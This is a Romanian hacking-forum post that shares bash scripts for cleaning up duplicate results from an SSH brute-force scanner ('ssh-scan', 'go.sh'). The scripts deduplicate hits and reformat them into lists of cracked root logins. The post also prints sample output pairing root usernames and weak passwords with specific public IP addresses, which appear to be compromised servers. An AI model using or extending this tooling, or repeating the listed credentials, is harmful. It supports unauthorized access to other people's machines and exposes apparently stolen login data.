Jump to content
ionutz15

Soluția definitiva DUP-urilor

Recommended Posts

Posted


DUP root:1qaz2wsx:223.255.133.18
DUP root:2wsxzaq1:223.255.133.18
DUP root:123qwe:223.255.133.18
DUP root:123qwe:223.255.133.18
DUP root:p@ssw0rd:99.23.22.217
DUP root:qwerty:99.23.22.217
DUP root:123456:99.23.22.217

Cred, ca multi dintre voi au întâmpinat "problema" asta cu ssh-scan, sau faimosul "go.sh".

# Cream un fisier cu numele 1 .

#!/bin/bash

B=$1

while read line; do

dup=$(echo $line |cut -d " " -f 1)

if [ $dup ] ; then

if [ $dup == DUP ] ; then

ip=$(echo $line |cut -d ":" -f 3)

echo "$ip" >>dup.txt

fi

fi

done < $B

# Cream un fisier care il numim 2 .

#!/bin/bash

B=$1

while read line; do

cat vuln.txt |grep -v "$line" >>vuln1.txt

mv vuln1.txt vuln.txt

sleep 1

done < $B

# Cream un fisier cu numele 3 .

#!/bin/bash

B=$1

while read line; do

echo "[sSH] Username: $(echo $line |cut -d ":" -f 1) Password: $(echo $line |cut -d ":" -f 2) IP: $(echo $line |cut -d ":" -f 3)" >>eof.txt

done < $B

# Cream fi?ierul numit clean

echo -e "[sSH] Cleaning up..."

./1 vuln.txt

sleep 2

cat dup.txt |sort -u >>dup2.txt

./2 dup2.txt

sleep 2

./3 vuln.txt

sleep 2

rm -rf dup.txt dup2.txt bios.txt cleanlist mfu.txt

cat eof.txt

Acum avem fi?ierele 1 , 2 , 3 si clean.

Dam permisiuni fisierelor: chmod +x 1 2 3 clean

Dupa ce scannerul a terminat treaba rulam ./clean

Rezultatul:

[sSH] Username: root Password: password IP: 107.18.124.124

[sSH] Username: root Password: password IP: 107.20.251.236

[sSH] Username: root Password: 123456 IP: 107.21.141.79

[sSH] Username: root Password: 123456 IP: 107.22.68.229

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...